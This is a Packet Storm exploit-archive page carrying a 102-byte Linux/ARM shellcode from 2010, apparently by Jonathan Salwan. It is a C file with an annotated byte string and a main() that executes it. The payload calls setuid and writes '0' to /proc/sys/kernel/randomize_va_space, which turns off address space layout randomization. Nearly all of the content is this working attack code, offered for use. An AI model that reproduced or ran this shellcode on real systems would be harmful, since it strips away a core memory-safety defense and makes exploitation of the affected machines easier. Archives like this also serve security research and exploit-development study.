what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Disable ASLR Security Shellcode

Disable ASLR Security Shellcode
Posted Jul 1, 2010
Authored by Jonathan Salwan

102 bytes small disable ASLR security Linux / ARM shellcode.

tags | shellcode
systems | linux
SHA-256 | 520d236fa1dfb1562d34c69e8d596039453ef6a1a483848217601172fa478804

Disable ASLR Security Shellcode

Change Mirror Download
/*
Title: Linux/ARM - Disable ASLR Security - 102 bytes
Date: 2010-06-20
Tested: Linux ARM9 2.6.28-6-versatile

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Database of shellcodes http://www.shell-storm.org/shellcode/


Description:
============
Address space layout randomization (ASLR) is a computer security technique
which involves randomly arranging the positions of key data areas, usually
including the base of the executable and position of libraries, heap, and
stack, in a process's address space.

This shellcode disables the ASLR on linux/ARM

*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2" // add r3, pc, #1
"\x13\xff\x2f\xe1" // bx r3
"\x24\x1b" // subs r4, r4, r4
"\x20\x1c" // adds r0, r4, #0
"\x17\x27" // movs r7, #23
"\x01\xdf" // svc 1
"\x78\x46" // mov r0, pc
"\x2e\x30" // adds r0, #46
"\xc8\x21" // movs r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\x59\x31" // adds r1, #89
"\xc8\x22" // movs r2, #200
"\xc8\x32" // adds r2, #200
"\x14\x32" // adds r2, #20
"\x05\x27" // movs r7, #5
"\x01\xdf" // svc 1
"\x03\x20" // movs r0, #3
"\x79\x46" // mov r1, pc
"\x0e\x31" // adds r1, #14
"\x02\x22" // movs r2, #2
"\x04\x27" // movs r7, #4
"\x01\xdf" // svc 1
"\x92\x1a" // subs r2, r2, r2
"\x10\x1c" // adds r0, r2, #0
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1

"\x30\x0a" // ^
"\x2d\x2d" // |
"\x2f\x2f" // |
"\x70\x72" // |
"\x6f\x63" // |
"\x2f\x73" // |
"\x79\x73" // |
"\x2f\x6b" // |
"\x65\x72" // |
"\x6e\x65" // | [ strings ]
"\x6c\x2f" // |
"\x72\x61" // |
"\x6e\x64" // |
"\x6f\x6d" // |
"\x69\x7a" // |
"\x65\x5f" // |
"\x76\x61" // |
"\x5f\x73" // |
"\x70\x61" // |
"\x63\x65"; // v


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close